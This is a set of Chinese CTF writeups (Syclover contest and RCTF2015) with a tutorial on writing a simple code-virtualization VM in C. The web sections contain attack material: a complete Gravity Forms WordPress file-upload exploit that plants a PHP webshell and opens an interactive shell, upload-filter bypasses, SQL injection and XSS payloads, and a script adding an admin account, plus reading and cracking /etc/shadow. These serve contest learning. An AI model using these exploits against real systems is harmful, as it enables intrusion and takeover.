
> echo ‘You are closer to the answer’;
这两句可以推测出,这里是想让你用PHP文件的多种后缀名(php3,php4,pht等)来绕过黑名单

上传phtml后缀的文件后,就拿到了第一个flag
#### 上传(2)

根据你上传文件输出的内容,可以看出是过滤了哪个字符

> $array=array(‘<?’,’?>’,’php’);

这里由于我的失误,在随后的过滤中只过滤了一次,也就是说你可以双写上述字符进行绕过,但是有些同学给的payload仅双写了某个字符(比如仅仅双写了”<?”),这样是不可以的

在修正了我的错误后,过滤规则没变,只不过会过滤到直到没有上面的三个元素,遂上面的方式失效了

但是,可以使用PHP语言的短标签(php.ini中的short_open_tag=on)来绕过:
“`
<script language=’php’>phpinfo();</script>
“`
加上php被过滤,因此转换下大小写即可:
例如:

“`
<script language=’pHp’>phpinfo();</script>
“`

#### 你是人间的四月天

首先,我是使用GET方式接收sel的值,所以,在地址栏可以很容易的看出,无论是选啥子都是sel的值都是no,只要改成yes久好了

改完后,提示你还是不相信我是百度,所以更改发包中的HOST值为“www.baidu.com”

此处很多同学包括那曾经的我都以为改了HOST那不就是访问百度了,难道三叶草不光日核弹,屌得都搞了www.baidu.com了?

让我们看一下Burp Suite的抓包界面:

也就是说,包还没发出去,就已经知道了你要发给谁了,这可以直观的看出HOST和你包要发向的网站地址无必然关系

不多说了,请看这篇博文

“`
http://blog.csdn.net/witsmakemen/article/details/8994963
“`

#### pentest(I)
graityforms插件有漏洞

“`php
<?php
/****************************************************************************************************************************
*
* Exploit Title : Gravity Forms [WP] – Arbitrary File Upload
* Vulnerable Version(s): 1.8.19 (and below)
* Write-Up : https://blog.sucuri.net/2015/02/malware-cleanup-to-arbitrary-file-upload-in-gravity-forms.html
* Coded by : Abk Khan [ an0nguy @ protonmail.ch ]
*
*****************************************************************************************************************************/
error_reporting(0);

echo ”
_____ _ _ ______ _ _
/ ____| (_) | | ____| | | |
| | __ _ __ __ ___ ___| |_ _ _| |__ __ _| | |___
| | |_ | ‘__/ _` \ \ / / | __| | | | __/ _` | | / __|
| |__| | | | (_| |\ V /| | |_| |_| | | | (_| | | \__ \
\_____|_| \__,_| \_/ |_|\__|\__, |_| \__,_|_|_|___/
__/ |
|___/ > an Exploiter by AnonGuy\n”;
$domain = (@$argv[1] == ” ? ‘http://localhost/wordpress’ : @$argv[1]);
$url = “$domain/?gf_page=upload”;
$shell = “$domain/wp-content/_input_3_khan.php5”;
$separator = ‘——————————————————————-‘;

$ch = curl_init($url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, ‘<?php $_POST[2]($_POST[1]);?>&form_id=1&name=lemon.php&gform_unique_id=../../../&field_id=3’);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

if (strpos($response, ‘”ok”‘) !== false) {
echo “$separator\nShell at $shell\n$separator\nSpawning a ‘No-Session’ Shell . . . Done!\n$separator\n”;
while ($testCom != ‘exit’) {
$user = trim(get_string_between(file_get_contents(“$shell?0=echo%20’~’;%20whoami;%20echo%20’~'”), ‘~’, ‘~’));
$b0x = trim(get_string_between(file_get_contents(“$shell?0=echo%20’~’;%20hostname;%20echo%20’~'”), ‘~’, ‘~’));
echo “$user@$b0x:~$ “;
$handle = fopen(“php://stdin”, ‘r’);
$testCom = trim(fgets($handle));
fclose($handle);
$comOut = trim(get_string_between(file_get_contents(“$shell?0=echo%20’~’;%20” . urlencode($testCom) . “;%20echo%20’~'”), ‘~’, ‘~’)) . “\n”;
echo $comOut;
}
}
else {
die(“$separator\n$domain doesn’t seem to be vulnerable! :(\n$separator”);
}

function get_string_between($string, $start, $end)
{
# stolen from stackoverflow!
$string = ‘ ‘ . $string;
$ini = strpos($string, $start);
if ($ini == 0)
return ”;
$ini += strlen($start);
$len = strpos($string, $end, $ini) – $ini;
return substr($string, $ini, $len);
}
?>
“`

getshell

“`
php exp.php http://wordpress.sycsec.com

得到shell:http://wordpress.sycsec.com/wp-content/uploads/_input_3_lemon.php
“`

从phpinfo可以看到禁用了很多函数,执行命令是没啥希望,然后有提示flag是在/home/目录下面,于是可以绕过open_basedir去读文件内容获得flag

利用脚本:https://www.leavesongs.com/bypass-open-basedir-readfile.html

#### pentest(II)
深入内网的时候,上一个php代理,进行主机发现,端口扫描。
可以发现一台服务器rsync是未授权访问,并且能够上传下载代码,而且还有web服务。
所以可以利用rsync上一个shell,上菜刀后就可以拿到flag。
## re
#### 辣鸡android RE (150)

送分题,对比较的部分主要在so里。


用户名为`syclover`
密码是 table里这些字符,取`0,2,4,6…..`位

最后得到`SYC{Have_FUn_W1th_GeekChal@}`
#### 辣鸡android RE (300)

送分题2号,像给了源码一样,只是需要提供注册机给出题人check而已。
算法就是把用户输入的用户名,经过一些列变换之后,作为AES加密的key,加密输入的用户名,然后base64编码加密结果,和用户输入的密文比对。
“`python
# -*- coding:utf-8 -*-

from Crypto.Cipher import AES

s1 = ThisIsNotFL@GplzDonnotSubmitThisString#HaveFunWithGeekmastergogo”
s2 = talkischeapshowmethecode$ischeapshowmethe#SycSYC{IamNotFLAG2333}”
xorString = “o0xmuhe”

name = “”
pwd = “”

def getpwd(user_name):
global name
global pwd
aes_key = ”
length = len(s1)
for i in range(len(user_name)):
encrypt1 = s1[(ord(user_name[i])+3) % length]
encrypt2_1 = ord(encrypt1)^ ord(xorString[(i % 7)])
encrypt2 = s2[(encrypt2_1 + 7) % 0x40]
aes_key += encrypt2

aes_key = aes_key[::-1]
cryptor = AES.new(aes_key,AES.MODE_ECB)
pwd = cryptor.encrypt(user_name+’\x10’*16).encode(‘base64’)
name = raw_input(‘input:’)
if len(name) != 0x10:
print “length error”
else:
getpwd(name)
print ‘username:’+name
print ‘password:’+pwd
“`

#### Ernie
程序分三步输入
输入Name取其位数
输入key与字符串比较
输入number

判断输入的key是否是已知字符串的ascii

若正确:

V6是name的长度
J是递减数
V3是lucky number

需要3个都是6

我们输入:
Name:6个字节
Key:已知字符串的ascii
Lucky number:6

不难发现其实只要用已知字符串的ascii和6异或就能直接出flag,嘻嘻。

#### re10
这是一道签到题,把文件拖到IDA中,查看字符串即可看到flag。

#### re50
一个基本的crackme题目,根据字符串错误提示进行定位,解密是一个简单的查表取值操作。会把用户的输入转化坐标,跟一下就可以得到flag。

#### re100
加了一个简单的SEH反调试,可能很多人都用插件过掉了,其实还是推荐自己动手搞学习一下异常处理这些知识。除了反调试就没有什么别的了,简单的四则运算对比flag,也是跟一下就可以得出答案。

#### re200-1
这是一个Windows窗体程序,并没有给出确认按钮。首先分辨出来这是个窗口而不是对话框,于是可以知道这是通过注册窗口类实现的。找到了窗口类就可以发现主消息处理函数,从中发现只要收到5次点击消息就会对输入进行验证,而验证使用了极其简单的逐位对比,调试跟一遍就可以看到flag。

#### re200-2
这是一个对输入进行hash的程序,只要对“flag”进行hash就可以得出答案。但是这里会不断的弹出MessageBox对话框,而且程序被vmp保护不能直接patch。所以可以直接把MessageBoxW的函数头hook掉,改成ret 0x10即可。

#### pwn200
程序里直接提供了system和/bin/sh,只要按要求执行step1、step2、step3函数即可(留有符号)。这是简单的模拟了一下x86下的rop,安装要求布置下栈即可,平衡栈可用__libc_csu_init里的gadgets。
另外发现有人是跳到GetInput去读一个/bin/sh的,因为直接给了system,不需要leak libc所以其实都是一样的。

 
***
## linux
#### linux_1
加载docker镜像:
“`
docker load < x.tar
“`
运行docker并找flag文件:
“`
docker run -it x.tar /bin/bash
find / -name “*flag*”
“`

#### linux_2
swp文件恢复后可以看到flag
“`
vim -r x.swp
“`

#### linux_3
与去年的linux大致相同,获取hash
“`
cat /etc/shadow
“`
然后格式是syc+生日,字典生成后,再用hashcat或者john跑一下可以得到syc19770308
***
## program
#### compress300(score:250)
此题的压缩包是不同类型的随机压缩300层,然后就真的可以手解…

#### 我好菜啊-编程部分(score:200)
题目描述:
>超师傅在大一暑假的实习中遇到了几个来自985、211高校的同学,深深地被他们扎实的编程基础和极强的思维能力折服了,心里默念了一个假期的:我好菜啊!于是他决定要好好提升下自己的编程能力,刚好他拿到了一张奇怪的图片,据说这原先是一张png图片,超师傅决定用代码来还原它真正的样貌!解决完 我好菜啊-杂项部分 的同学,你们应该知道怎么拿本题的flag

在`我好菜啊-杂项部分`中得到了异或用的key,然后就是用key去恢复图片了。从文件中每读取的8个字节就用key异或一次,写入新的png图片,打开就知道要怎么拿flag了

将程序和恢复后的图片交给我,就可以拿到一张经过异或的含有flag的png图片

用上面的程序恢复下就可以得到flag图片了

#### 单身二十年,手速一定快

进入页面,发现一大串字符,要统计@的个数,还要快速提交,需要脚本提交,要注意@的个数统计出来要-1,还有注意session的问题
<br/>附上Py脚本
“`
import requests
import re

url = ‘http://web.sycsec.com/0b3a7c6ca7f1f2e6/’

# open session
html = requests.session()
contents = html.get(url).content

# Get @ & send psot
nums = len(re.findall(r’@’,contents))-1
Send = html.post(url=url+’/judge.php’,data={‘mytext’:nums})

# Get answers
print Send.content
“`

动手实现代码虚拟机

什么是代码虚拟化

虚拟化实际上我认为就是使用一套自定义的字节码来替换掉程序中原有的native指令,而字节码在执行的时候又由程序中的解释器来解释执行。自定义的字节码是只有解释器才能识别的,所以一般的工具是无法识别我们自定义的字节码,也是因为这一点,基于虚拟机的保护相对其他保护而言要更加难破解。但是解释器一般都是native代码,这样才能使解释器运行起来解释执行字节码。其中的关系就像很多的解释型语言一样,不是系统的可执行文件,不能直接在系统中运行,需要相应的解释器才能运行,如python。

为什么研究代码虚拟化

目前很多地方都会用到虚拟化技术,比如sandbox、程序保护壳等。很多时候为了防止恶意代码对我们的系统造成破坏,我们需要一个sandbox,使程序运行在sandbox中,即使恶意代码破坏系统也只是破坏了sandbox而不会对我们的系统造成影响。还有如vmp,shielden这些加密壳就是内置了一个虚拟机来实现对程序代码的保护,基于虚拟机的保护相对其他保护而言破解起来会更加困难,因为使用现有的工具也是不能识别虚拟机的字节码。在见识过这类保护壳的威力之后,也萌生出了自己动手写一个的冲动,所以才有了本文。

基于虚拟机的代码混淆

基于虚拟机的代码保护也可以算是代码混淆技术的一种。代码混淆的目的就是防止代码被逆向分析,但是所有的混淆技术都不是完全不能被分析出来,只是增加了分析的难度或者加长了分析的时间,虽然这些技术对保护代码很有效果,但是也存在着副作用,比如会或多或少的降低程序效率,这一点在基于虚拟机的保护中格外突出,所以大多基于虚拟机的保护都只是保护了其中比较重要的部分。在基于虚拟机的代码保护中可以大致分为两种:
1. 使用虚拟机解释执行解壳代码。这种混淆是为了隐藏原代码是如何被加密的,又是如何被解壳代码解密的。这种方式对于静态分析来说比较有效,但是对于动态调试效果不大。因为动态调试的时候完全可以等到解壳代码解密初源代码之后进行脱壳。只有配合其他保护技术才会有比较强的保护效果。

2. 把需要保护的程序源码转换为自定义字节码,再使用虚拟机解释执行被转换后的程序字节码,而程序的源码是不会出现在程序中的。这种方式不管静态还是动态都可以有效的保护。

 

可以看出两种保护的区别就是,第一种只保护解壳代码,没有保护源码。第二种直接保护了所有源码。所以第一种的强度也小于第二种。本文则是以第二种方式来实现保护,也就是保护所有源码。

在基于虚拟机的保护技术中,通常自定义的字节码与native指令都存在着映射关系,也就是说一条或多条字节码对应于一条native指令。至于为什么需要多条字节码对应同一条native指令,其实是为了增加虚拟机保护被破解的难度,这样在对被保护的代码进行转换的时候就可以随机生成出多套字节码不同,但执行效果相同的程序,导致逆向分析时的难度增加。

 

需要实现什么?

首先了解过代码虚拟化的原理之后,知道了其中的原理就是自定义一套字节码,然后使用一个解释器解释运行字节码。所以,目标分为两部分:
1. 定义字节码
字节码只是一个标识,可以随意定义,以下是我定义的字节码,其中每条指令标识都对应于一个字节

/*
* opcode enum
*/
enum OPCODES
{
MOV = 0xa0, // mov 指令字节码对应 0xa0
XOR = 0xa1, // xor 指令字节码对应 0xa1
CMP = 0xa2, // cmp 指令字节码对应 0xa2
RET = 0xa3, // ret 指令字节码对应 0xa3
SYS_READ = 0xa4, // read 系统调用字节码对应 0xa4
SYS_WRITE = 0xa5, // write 系统调用字节码对应 0xa5
JNZ = 0xa6 // jnz 指令字节码对应 0xa0
};

因为我的demo只是一个简单的crackme,所以只定义了几个常用的指令。如果有需要,可以在这个基础上继续定义出更多的字节码来丰富虚拟机功能。
2. 实现解释器
在定义好指令对应的字节码之后,就可以实现一个解释器用来解释上面定义的指令字节码了。在实现虚拟机解释器之前需要先搞清楚我们都要虚拟出一些什么。一个虚拟机其实就是虚拟出一个程序(自定义的字节码)运行的环境,其实这里的虚拟机在解释执行字节码时与我们真实处理器执行很相似。在物理机中的程序都需要一个执行指令的处理器、栈、堆等环境才可以运行起来,所以首当其冲需要虚拟出一个处理器,处理器中需要有一些寄存器来辅助计算,以下是我定义的虚拟处理器

/*
* virtual processor
*/
typedef struct processor_t
{
int r1; // 虚拟寄存器r1
int r2; // 虚拟寄存器r2
int r3; // 虚拟寄存器r3
int r4; // 虚拟寄存器r4

int flag; // 虚拟标志寄存器flag,作用类似于eflags

unsigned char *eip; // 虚拟机寄存器eip,指向正在解释的字节码地址

vm_opcode op_table[OPCODE_NUM]; // 字节码列表,存放了所有字节码与对应的处理函数

} vm_processor;

/*
* opcode struct
*/
typedef struct opcode_t
{
unsigned char opcode; // 字节码
void (*func)(void *); // 与字节码对应的处理函数
} vm_opcode;

上面结构中r1~r4是4个通用寄存器,用来传参数和返回值。eip则指向当前正在执行的字节码地址。op_table中存放了所有字节码指令的处理函数。上面的两个虚拟出的结构就是虚拟机的核心,之后解释器在解释字节码的时候都是围绕着以上两个结构的。因为程序逻辑简单,所以只需要虚拟出一个处理器就可以了,堆和栈都不是必须的。程序中的数据我用了一个buffer来存储,也可以把整个buffer理解成堆或者是栈。
有了上面两个结构之后,就可以来动手写解释器了。解释器的工作其实就是判断当前解释的字节码是否可以解析,如果可以就把相应参数传递给相应的处理函数,让处理函数来解释执行这一条指令。以下是解释器代码

void vm_interp(vm_processor *proc)
{
/* eip指向被保护代码的第一个字节
* target_func + 4是为了跳过编译器生成的函数入口的代码
*/
proc->eip = (unsigned char *) target_func + 4;

// 循环判断eip指向的字节码是否为返回指令,如果不是就调用exec_opcode来解释执行
while (*proc->eip != RET) {
exec_opcode(proc);
}
}

其中target_func是自定义字节码编写的目标函数,是eip指向目标函数的第一个字节,准备解释执行。当碰到RET指令就结束,否则调用exec_opcode执行字节码。以下是exec_opcode代码

void exec_opcode(vm_processor *proc)
{
int flag = 0;
int i = 0;

// 查找eip指向的正在解释的字节码对应的处理函数
while (!flag && i < OPCODE_NUM) {
if (*proc->eip == proc->op_table[i].opcode) {
flag = 1;
// 查找到之后,调用本条指令的处理函数,由处理函数来解释
proc->op_table[i].func((void *) proc);
} else {
i++;
}
}

}

解释字节码时首先判断是哪一个指令需要执行,接着调用它的处理函数。以下是target_func的伪代码。伪代码的逻辑就是首先从标准输入中读取0x12个字节,然后前8位与0x29异或,最后逐位与内存中8个字节比较,全部相同则输出success,失败输出error。以下的代码完全可以改成循环结构来实现,但是这里我偷懒了,全部是复制粘贴。

/*
mov r1, 0x00000000
mov r2, 0x12
call vm_read ; 输入

mov r1, input[0]
mov r2, 0x29
xor r1, r2 ; 异或
cmp r1, flag[0] ; 比较
jnz ERROR ; 如果不相同就跳转到输出错误的代码

; 同上
mov r1, input[1]
xor r1, r2
cmp r1, flag[1]
jnz ERROR

mov r1, input[2]
xor r1, r2
cmp r1, flag[2]
jnz ERROR

mov r1, input[3]
xor r1, r2
cmp r1, flag[3]
jnz ERROR

mov r1, input[4]
xor r1, r2
cmp r1, flag[4]
jnz ERROR

mov r1, input[5]
xor r1, r2
cmp r1, flag[5]
jnz ERROR

mov r1, input[6]
xor r1, r2
cmp r1, flag[6]
jnz ERROR

mov r1, input[7]
xor r1, r2
cmp r1, flag[7]
jnz ERROR
*/

相应处理函数代码在后文的完整代码中。有了以上关键函数,一个简单的虚拟机就可以运行了。在虚拟机中,还可以创建虚拟机堆栈以及更完整的寄存器来丰富虚拟机支持的指令。因为本程序相对简单所以没有用到堆栈,所有参数都通过寄存器传递,或者隐含在字节码中。有兴趣可以自己修改。

解释器解释执行过程
这里就用demo中的第一条字节码做演示来说明虚拟机中解释器解释执行时的过程,首先可以从上面看到解释器vm_interp执行时eip会指向target_func + 4,也就是target_func中内联汇编中定义的第一个字节0xa0,之后会判断eip指向的字节码是否为ret指令,ret指令是0xa3,所以不是eip指向的不是ret,进入exec_opcode函数进行字节码解释。

进入exec_opcode后开始在虚拟处理器的op_table中查找eip指向的字节码,当前就是0xa0,找到之后就调用它的解释函数。


字节码与解释函数的初始化在init_vm_proc中


可以看出0xa0就对应着mov指令,所以当解释器遇到0xa0就会调用vm_mov函数来解释mov指令。

在vm_mov函数中首先把eip + 1处的一个字节和eip + 2处4个字节分别保存在dest和src中,dest是寄存器标识,在后面的switch中判断dest是哪个寄存器,在这个例子中dest是0x10,也就是r1寄存器,在case 0x10分支中就把*src赋值给r1。总体来看,前6个字节就是第一条mov指令,对应着mov r1, xxxx,xxxx就是这6个字节中的后4个,在这个例子中就是0x00000000。

从这个例子中就可以大致了解一个解释器在解释执行字节码时的过程,其实很简单,就是通过一个字节码和解释函数的关系来调用相应的函数,或者通过一个很长的switch来判断每个字节码,并调用相应函数。而解释函数则通过执行相应的操作来模拟出一个指令。最后,把这些指令串联在一起就可以执行完一个完整的逻辑。
代码运行效果

 虚拟机保护效果

静态分析

在静态分析基于虚拟机保护的代码时,一般的工具都是没有效果的,因为字节码都是我们自己定义的,只有解释器能够识别。所以在用ida分析时字节码只是一段不能识别的数据。

这就是ida识别到的target_func的代码,已经做到了对抗静态分析。不过还是可以静态分析我们的解释器,在分析解释器的时候,解释器中的控制流会比源程序的控制流复杂很多,这样也是会增加分析难度。
动态调试

在动态调试的时候字节码依然不能被识别,而且处理器也不会真正的去执行这些不被识别的东西。因为这些字节码都是被我们的虚拟处理器通过解释器执行的,而我们的解释器都是native指令,所以可以静态分析,也可以动态调试。但是动态调试的时候只是在调试解释器,在调试过程中只能看到在不断的调用各个指令的解释函数。所以想要真正还原出源码就需要在调试过程中找到所有字节码对应的native指令的映射关系,最后,通过这个映射关系来把字节码转换成native指令,当然也可以修复出一个完全脱壳并且可以执行的native程序,只是过程会比较繁琐。
完整代码
以下是demo的完整代码,已经在linux中测试通过。

xvm.h

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define OPCODE_NUM 7 // opcode number
#define HEAP_SIZE_MAX 1024

char *heap_buf; // vm heap

/*
* opcode enum
*/
enum OPCODES
{
MOV = 0xa0, // mov 指令字节码对应 0xa0
XOR = 0xa1, // xor 指令字节码对应 0xa1
CMP = 0xa2, // cmp 指令字节码对应 0xa2
RET = 0xa3, // ret 指令字节码对应 0xa3
SYS_READ = 0xa4, // read 系统调用字节码对应 0xa4
SYS_WRITE = 0xa5, // write 系统调用字节码对应 0xa5
JNZ = 0xa6 // jnz 指令字节码对应 0xa0
};

enum REGISTERS
{
R1 = 0x10,
R2 = 0x11,
R3 = 0x12,
R4 = 0x13,
EIP = 0x14,
FLAG = 0x15
};

/*
* opcode struct
*/
typedef struct opcode_t
{
unsigned char opcode; // 字节码
void (*func)(void *); // 与字节码对应的处理函数
} vm_opcode;
/*
* virtual processor
*/
typedef struct processor_t
{
int r1; // 虚拟寄存器r1
int r2; // 虚拟寄存器r2
int r3; // 虚拟寄存器r3
int r4; // 虚拟寄存器r4

int flag; // 虚拟标志寄存器flag,作用类似于eflags

unsigned char *eip; // 虚拟机寄存器eip,指向正在解释的字节码地址

vm_opcode op_table[OPCODE_NUM]; // 字节码列表,存放了所有字节码与对应的处理函数

} vm_processor;

xvm.c

#include "xvm.h"

void target_func()
{
__asm__ __volatile__(".byte 0xa0, 0x10, 0x00, 0x00, 0x00, 0x00, 0xa0, 0x11, 0x12, 0x00, 0x00, 0x00, 0xa4, 0xa0, 0x14, 0x00, 0x00, 0x00, 0x00, 0xa0, 0x11, 0x29, 0x00, 0x00, 0x00, 0xa1, 0xa2, 0x20, 0xa6, 0x5b, 0xa0, 0x14, 0x01, 0x00, 0x00, 0x00, 0xa1, 0xa2, 0x21, 0xa6, 0x50, 0xa0, 0x14, 0x02, 0x00, 0x00, 0x00, 0xa1, 0xa2, 0x22, 0xa6, 0x45, 0xa0, 0x14, 0x03, 0x00, 0x00, 0x00, 0xa1, 0xa2, 0x23, 0xa6, 0x3a, 0xa0, 0x14, 0x04, 0x00, 0x00, 0x00, 0xa1, 0xa2, 0x24, 0xa6, 0x2f, 0xa0, 0x14, 0x05, 0x00, 0x00, 0x00, 0xa1, 0xa2, 0x25, 0xa6, 0x24, 0xa0, 0x14, 0x06, 0x00, 0x00, 0x00, 0xa1, 0xa2, 0x26, 0xa6, 0x19, 0xa0, 0x14, 0x07, 0x00, 0x00, 0x00, 0xa1, 0xa2, 0x27, 0xa6, 0x0f, 0xa0, 0x10, 0x30, 0x00, 0x00, 0x00, 0xa0, 0x11, 0x09, 0x00, 0x00, 0x00, 0xa5, 0xa3, 0xa0, 0x10, 0x40, 0x00, 0x00, 0x00, 0xa0, 0x11, 0x07, 0x00, 0x00, 0x00, 0xa5, 0xa3");

/*
mov r1, 0x00000000
mov r2, 0x12
call vm_read ; 输入

mov r1, input[0]
mov r2, 0x29
xor r1, r2 ; 异或
cmp r1, flag[0] ; 比较
jnz ERROR ; 如果不相同就跳转到输出错误的代码

; 同上
mov r1, input[1]
xor r1, r2
cmp r1, flag[1]
jnz ERROR

mov r1, input[2]
xor r1, r2
cmp r1, flag[2]
jnz ERROR

mov r1, input[3]
xor r1, r2
cmp r1, flag[3]
jnz ERROR

mov r1, input[4]
xor r1, r2
cmp r1, flag[4]
jnz ERROR

mov r1, input[5]
xor r1, r2
cmp r1, flag[5]
jnz ERROR

mov r1, input[6]
xor r1, r2
cmp r1, flag[6]
jnz ERROR

mov r1, input[7]
xor r1, r2
cmp r1, flag[7]
jnz ERROR
*/
}

/*
* xor 指令解释函数
*/
void vm_xor(vm_processor *proc)
{
// 异或的两个数据分别存放在r1,r2寄存器中
int arg1 = proc->r1;
int arg2 = proc->r2;

// 异或结果存在r1中
proc->r1 = arg1 ^ arg2;

// xor指令只占一个字节,所以解释后,eip向后移动一个字节
proc->eip += 1;
}

/*
* cmp 指令解释函数
*/
void vm_cmp(vm_processor *proc)
{
// 比较的两个数据分别存放在r1和buffer中
int arg1 = proc->r1;、
// 字节码中包含了buffer的偏移
char *arg2 = *(proc->eip + 1) + heap_buf;

// 比较并对flag寄存器置位,1为相等,0为不等
if (arg1 == *arg2) {
proc->flag = 1;
} else {
proc->flag = 0;
}

// cmp指令占两个字节,eip向后移动2个字节
proc->eip += 2;
}

/*
* jnz 指令解释函数
*/
void vm_jnz(vm_processor *proc)
{
// 获取字节码中需要的地址相距eip当前地址的偏移
unsigned char arg1 = *(proc->eip + 1);

// 通过比较flag的值来判断之前指令的结果,如果flag为零说明之前指令不想等,jnz跳转实现
if (proc->flag == 0) {
// 跳转可以直接修改eip,偏移就是上面获取到的偏移
proc->eip += arg1;
} else {
proc->flag = 0;
}

// jnz 指令占2个字节,所以eip向后移动两个字节
proc->eip += 2;
}

/*
* ret 指令解释函数
*/
void vm_ret(vm_processor *proc)
{

}

/*
* read 系统调用解释函数
*/
void vm_read(vm_processor *proc)
{
// read系统调用有两个参数,分别存放在r1,r2寄存器中,r1中是保存读入数据的buf的偏移,r2为希望读入的长度
char *arg2 = heap_buf + proc->r1;
int arg3 = proc->r2;

// 直接调用read
read(0, arg2, arg3);

// read系统调用占1个字节,所以eip向后移动1个字节
proc->eip += 1;
}

/*
* write 系统调用解释函数
*/
void vm_write(vm_processor *proc)
{
// 与read系统调用相同,r1中是保存写出数据的buf的偏移,r2为希望写出的长度
char *arg2 = heap_buf + proc->r1;
int arg3 = proc->r2;

// 直接调用write
write(1, arg2, arg3);

// write系统调用占1个字节,所以eip向后移动1个字节
proc->eip += 1;
}

/*
* mov 指令解释函数
*/
void vm_mov(vm_processor *proc)
{
// mov 指令两个参数都隐含在字节码中了,指令标识后的第一个字节是寄存器的标识,指令标识后的第二到第五个字节是要mov的立即数,目前只实现了mov一个立即数到一个寄存器中和mov一个buffer中的内容到一个r1寄存器
unsigned char *dest = proc->eip + 1;
int *src = (int *) (proc->eip + 2);

// 前4个case分别对应r1~r4,最后一个case中,*src保存的是buffer的一个偏移,实现了把buffer中的一个字节赋值给r1
switch (*dest) {
case 0x10:
proc->r1 = *src;
break;

case 0x11:
proc->r2 = *src;
break;

case 0x12:
proc->r3 = *src;
break;

case 0x13:
proc->r4 = *src;
break;

case 0x14:
proc->r1 = *(heap_buf + *src);
break;
}

// mov指令占6个字节,所以eip向后移动6个字节
proc->eip += 6;
}

/*
* 执行字节码
*/
void exec_opcode(vm_processor *proc)
{
int flag = 0;
int i = 0;

// 查找eip指向的正在解释的字节码对应的处理函数
while (!flag && i < OPCODE_NUM) {
if (*proc->eip == proc->op_table[i].opcode) {
flag = 1;
// 查找到之后,调用本条指令的处理函数,由处理函数来解释
proc->op_table[i].func((void *) proc);
} else {
i++;
}
}

}

/*
* 虚拟机的解释器
*/
void vm_interp(vm_processor *proc)
{
/* eip指向被保护代码的第一个字节
* target_func + 4是为了跳过编译器生成的函数入口的代码
*/
proc->eip = (unsigned char *) target_func + 4;

// 循环判断eip指向的字节码是否为返回指令,如果不是就调用exec_opcode来解释执行
while (*proc->eip != RET) {
exec_opcode(proc);
}
}

/*
* 初始化虚拟机处理器
*/
void init_vm_proc(vm_processor *proc)
{
proc->r1 = 0;
proc->r2 = 0;
proc->r3 = 0;
proc->r4 = 0;
proc->flag = 0;

// 把指令字节码与解释函数关联起来
proc->op_table[0].opcode = MOV;
proc->op_table[0].func = (void (*)(void *)) vm_mov;

proc->op_table[1].opcode = XOR;
proc->op_table[1].func = (void (*)(void *)) vm_xor;

proc->op_table[2].opcode = CMP;
proc->op_table[2].func = (void (*)(void *)) vm_cmp;

proc->op_table[3].opcode = SYS_READ;
proc->op_table[3].func = (void (*)(void *)) vm_read;

proc->op_table[4].opcode = SYS_WRITE;
proc->op_table[4].func = (void (*)(void *)) vm_write;

proc->op_table[5].opcode = RET;
proc->op_table[5].func = (void (*)(void *)) vm_ret;

proc->op_table[6].opcode = JNZ;
proc->op_table[6].func = (void (*)(void *)) vm_jnz;

// 创建buffer
heap_buf = (char *) malloc(HEAP_SIZE_MAX);

// 初始化buffer
memcpy(heap_buf + 0x20, "syclover", 8);
memcpy(heap_buf + 0x30, "success!\n", 9);
memcpy(heap_buf + 0x40, "error!\n", 7);
}
// flag: ZPJEF_L[
int main()
{
vm_processor proc = {0};

// initial vm processor
init_vm_proc(&proc);

// execute target func
vm_interp(&proc);
return 0;
}

 总结
以上程序为学习代码虚拟化之后的总结,其中有很多理解不正确的地方希望大牛指正。这只是最简单的实现,仅用于学习使用,想要深入学习虚拟化技术还是非常复杂,需要积累更多知识才能理解到位,这篇文章就当是抛砖引玉。在学习的过程也有很多问题没有解决,比如:如果想实现一个基于虚拟机的保护壳,必定需要把源程序中的native指令首先转换为自定义字节码,但是不知道用什么方法来转换比较好。

在很多国外文章里也看到另一种虚拟机保护,是基于LLVM-IR的虚拟机保护,有兴趣也可以继续深入研究一下。

参考
www.cs.rhul.ac.uk/home/kinder/papers/wcre12.pdf

RCTF2015-writeup

Team:Syclover

web

upload
看起来是一个上传题,其实这是一个注入题。在文件名的地方存在注入。因为注入点是insert的,如果直接进行报错注入或者延时注入的话会提示sqlinject find。我们可以利用二次注入,来得到数据。通过fuzz发现,在进行insert操作的时候有三个列,所以构造

文件名','uid','uid'),((database()),'uid','uid')

就可以看到回显的数据,然后通过走流程就可以查询出flag,但是有一点要注意题目直接把select from 这些关键字过滤了两次所以得构造这样的selselectect才行。

weeeeeb3

先注册一个帐号,然后找回密码,输入正确的信息。到第二步提示修改新的密码的时候,直接抓包把用户名修改为admin。然后就可以登陆admin这个帐号,然后在manage页面提示 not allow ip 我们把xxf改为127.0.0.1就可以绕过。然后要我们猜action 由于是filemanage就直接猜action=upload 然后就出现一个上传页面,通过一轮fuzz,直接上传一个图片马,在后面写上

<script lanaguage="php"> phpinfo()</script>

把后缀改为php5 就成功拿到了flag。

xss

这是一个留言板,通过fuzz发现过滤了很多标签,除此之外还把on事件直接给过滤了。后面测试发现可以使用link标签,然后使用sctf里面那种方法就可以弹框了。

<link rel="import" href="data:text/html;base64,PHNjcmlwdD5kZWxldGUgYWxlcnQ7YWxlcnQoIkhlbGxvIik7PC9zY3JpcHQ+"<

查看页面的html源码发现

<!--only for admin
<form action="" method="post">
username:<input type="text" name="name"><br />
password:<input type="password" name="pass"><br />
<input type="radio" name="isadmin" value="0">user
<input type="radio" name="isadmin" value="1">admin<br />
<input type="hidden" name="token" value="34a1615ff3eaf616f7fa205a12792d27">
<input type="submit" name="adduser" value="adduser">
</form>-->

很明显啦,就是要添加一个管理帐号帐号,发现页面使用啦jquery直接添加帐号就行。

javascript
<script src=http://180.76.178.54:8004/4b79f5d4860384d4ac494ad91f5313b7/js/jquery.js></script>
<script>
$.ajax({
                               type: "post",
                               url: "",
                               data: "name=tomato123&pass=tomato123&isadmin=1&adduser=adduser&token="+$("input[name=token]").val()})
</script>

然后构造payload

